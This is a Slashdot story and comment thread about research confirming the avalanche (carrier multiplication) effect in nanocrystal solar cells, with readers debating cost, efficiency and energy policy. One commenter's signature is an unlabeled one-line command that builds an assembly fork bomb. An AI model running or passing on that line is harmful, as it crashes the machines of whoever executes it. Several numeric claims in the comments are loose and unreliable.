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Avalanche Effect Demonstrated In Solar Cells
esocid writes "Researchers at TU Delft (Netherlands) and the FOM (Foundation for Fundamental Research on Matter) have found irrefutable proof that the so-called avalanche effect by electrons occurs in specific semiconducting crystals of nanometer dimensions. This physical effect could pave the way for cheap, high-output solar cells. Solar cells currently have relatively low output, typically 15%, and high manufacturing costs. One possible improvement could derive from a new type of solar cell made of semiconducting nanocrystals and could theoretically lead to a maximum output of 44%, with the added benefit of reducing manufacturing costs. In conventional solar cells, one photon can release precisely one electron. However, in some semiconducting nanocrystals, one photon can release two or three electrons, hence the term 'avalanche effect.' This effect was first measured by researchers at the Los Alamos National Laboratories in 2004, and since then the scientific world had raised doubts about the value of these measurements. This current research does in fact demonstrate that the avalanche effect can occur."
However, I'll bet the keys on my keyboard that solar is going to be a lucrative market in the near future. Heck, it already is for solar cell manufacturers.
Manufacturing solar PV cells is usually said to cost quite a lot of energy. But how much exactly (on average)?
How many joules are consumed from raw materials to a deliverable PV cell of a given output wattage? Of the old "about 15%" (really about 20-25% these days), and of these new proposed "avalance" PV material ones?
I want to compare that energy cost to the cells' projected energy contribution over their lifetime, which is about 30+ years for today's PV cells. How long would the new ones last in typical service?
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Avalanche photodiodes of certain semiconductor materials have been around for a while now. I believe the novel part of this research is that they're confirming other researchers' data showing that lead selenide semiconductors can exhibit electron cascade effects.
http://science.slashdot.org/article.pl?sid=04/05/20/1436213
Solar Cells Get Boost
Posted by michael on Thursday May 20 2004, @02:15PM
from the juiced-up dept.
Science Technology
An anonymous reader writes "Researchers from Los Alamos National Laboratory have tapped the efficiencies of nanotechnology to double solar cells' potential energy production. The key to the method is the use of lead selenium nanocrystals which can produce 2 electrons where 1 was produced before. Other optical applications can also benefit."
[Fuck Beta]
o0t!
Somebody else said this the last time solar cells were brought up, and it is just as relevant here:
SOMEBODY PLEASE BRING SOME ACTUAL "IMPROVEMENTS" TO MARKET!!!
If all the "improvements" to solar cell manufacturing I have read about in recent decades became actuality, we would all have homes and cars powered solely by a 1-meter-square panel on the roof and the panels would cost $1 apiece.
Please, either DO SOMETHING with this, or stop making predictions!
Without violating thermaldynamic laws, I wonder how much electricity output this will add. I don't think it would double the current flow with 2-3 electrons popping out for each photon that strikes the array, but I know this should add a significant amount of efficiency.
I just hope all these advances, especially ones that make solar cells cheaper to manufacture go into production. There are huge chunks of the world that are lifeless desert, and would be perfect for large solar and wind arrays, assuming one could find a way to transport the generated electricity to cities without too much current loss. Perhaps some chemical reaction that pulls carbon from the air directly to make ethane, then another reaction that converts the ethane to ethanol to be piped to places that can burn the ethanol for electricity. Yes, the chemical reactions to pull carbon from the air, and get it into ethanol are wasteful, but for very long distance transfer of energy (100-200+ miles), it would be less wasteful to do that, than to use standard power transmission lines. Even though the ethanol electricity generating plants would be adding carbon into the air, it would be carbon neutral due to the carbon being extracted at the solar/wind site.
This is great news, especially for developing nations whose energy demands are on rising trend. Countries like Indonesia, India and other middle east countries, where sun light is available in abundance, will benefit most.
hilarious
Whether they're hairy, nanotube, or amorphous, cheap, efficient solar cells are always going to be thirty years away as long as there is 'cheap' oil around.
Sig this!
Using sunlight for electricity is not particularly attractive, but for the neat 'no moving parts' aspect. It is far better to use solar power for light, water and space heating - those remarkable innovations called windows and skylights for example.
Excuse me, but please get off my Pennisetum Clandestinum, eh!
We seem to cavil about a few million dollars, or even a few hundred million, being spent to jump start emerging energy technology, but we have no problem spending billions on oil industry subsidies.
We need to acknowledge that any new tech investment involves high risk. Success brings high rewards. We accept exactly this reasoning when oil executives tell us that oil exploration is expensive and risky, and therefore requires continuing subsidies even when record profits are rolling in. A few million spent on alt energy research that tanks, however, is usually reported as a "this is what happens when you listen to the tree huggers" story.
An attitude adjustment as 'way overdue, and a rediscovery of our spirit of adventure and innovation. Perhaps putting some money into finding out whether this kind of solar cell works and can be mass produced would be a place to start.
I've calculated my velocity with such exquisite precision that I have no idea where I am.
To me, the big issue is not efficiency but cost per watt. Many regions of the world have plenty of the land, particularly energy guzzlers like the US. What we really need is a super-cheap way to use that land for solar generation.
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Solar cells only work outside though.
You'd have to use a thick black raincoat, a wide brimmed hat and sunglasses to protect yourself from the ultraviolent radiation though. And cover up any exposed spots with SPF 10000 suncream.
Even then I'd scuttle back into the basement once the batteries had recharged.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
There is no such thing as irrefutable in science. In fact, some people attempt to define science as the pursuit of knowledge which can be corroborated and refuted using the "scientific method" (to preempt a lot of comments: I said "attempt to define", because this definition rapidly becomes circular unless you are very careful, and it is not clear that defining the "scientific method" is easier than defining science itself).
OTOH, I rather doubt that the scientists themselves claimed irrefutability here. The journalists are probably to blame.
And while your on it ask them what's holding up my flying car?
Anti-grav units? Powerful downward facing thrusters? Wings? Rotors?
Truth be told, there's nothing holding up your flying car except the name. It's not a flying car. It's a personal aircraft, and they come in many different sizes and shapes, from ultralights, LongEZs, and autogyros, to Beavers, Cesnas and Learjets.
When our name is on the back of your car, we're behind you all the way!
You can order workers via the internets who tile your roof with Avalanche(TM) solar cells.
Patents Drive Free Software as Hurricanes Drive Construction Industry
You know it also comes in a new convenient spray can!
Browsing at +1 - no ACs, I ignore their posts. So refreshing!
Imagine for a moment if we geeks hadn't come up with DNS but instead tried to use a small handful of machines to handle domain name resolution. The Internet would collapse rather quickly no?
Funny then that to date our power grid is based on a centralized model. Sadly, as much as 20-30% of all power generated is lost during transmission over the grid.
Now effective solar panels and batteries to go with them would allow us to move to a more decentralized model. Imagine whole neighborhoods creating most - though not all - of their power needs. If the panels can get to around 80% of the needs of the house then the current power plants we have can be the only ones we need for awhile.
Or even better, instead of having massive plants with a huge footprint make use of smaller pup nuclear reactors - about the size used in a naval ship. One of those could be placed where the power substations are now and pick up the slack that the solar panels can't fulfill. They wouldn't present any real contamination danger as once their fuel was spent after 30 years or so you truck out the entire unit and refurbish (i.e. refuel) it under controlled conditions in a remote area - while in service the internals of the thing aren't opened up.
These things also wouldn't have to make as much power as the current power stations because, by virtue of being closer to the customers they serve, they wouldn't lose as much power in the lines.
Oh yeah. There will be a hydrogen economy if/when we manage to get useful energy out of nuclear fusion. Until then, hydrogen is just a fuel with one advantage on paper and a long list of disadvantages in practice.
If you actually read up on solar cells instead of sounding off like an idiot, you would know that the cost per watt is dropping quite fast, durability has doubled in the last 5 years, that Sharp are making cells which are nearly twice as efficient as much of the competition and they are being sold as roof panels, that the recently opened German factory can sell everything it makes for many months ahead.
Nobody has ever pretended that a 1 sq M panel would power anything large. There is only so much sunlight, and nobody has ever pretended the second law of thermodynamics would be broken. No-one has ever pretended that 1 sq M panels would cost $1 apiece; you could not make a structure to withstand wind loading that cheaply. There is a huge difference between actual forecasts of an eventual $1 per peak watt, and $1 per sq M. $1 per watt works out at about $140 per sq M for a 14% efficient panel.
To the people who modded this insightful: if you can't tell an obvious troll from engineering reality, plase hand in your geek cards now and go play with Facebook.
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Average of 5 hours a day = total power per square meter = 5Kw
My house + 50% = 30kwh / day
= 6 square meter
30% efficiency
Only about 20 square meters required.
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On windy days, Denmark actually generates "too much" power from wind (about 40%) so they are working on an electric car system to act as a "sink" to dump the excess energy. (currently the hydroelectric generating facilities in Norway and Sweden are used to smooth out the changes in energy production from wind)
The wind power project has been such a success that Denmark is currently planning to double its offshore wind farms, after studies showed that it would not harm the environment. The current goal is to increase wind power to 30% of total output by 2025.
I am surprised nobody asked that before, but the answer is surprisingly simple. The photons obviously have enough energy do move several electrons, but the photovoltaic cell (junction) is a tiny laywer over some opaque substrate (normaly silicon). So you only have one chance of absorbing those photons.
There are some manufacturing processes that could create one junction over another, but those processes are very expensive and the material isn't completely transparent. Probably because of this (I don't know about all the problems) people are unable to stack more than 2 junctions.
So, making a photon displace several electrons at a time seems to be the best alternative. People are doing that with quantum dots for a time now, but quantum dots are very unstable. Now those researches were able to create the same effect using a well designed crystal. That is a big step foward.
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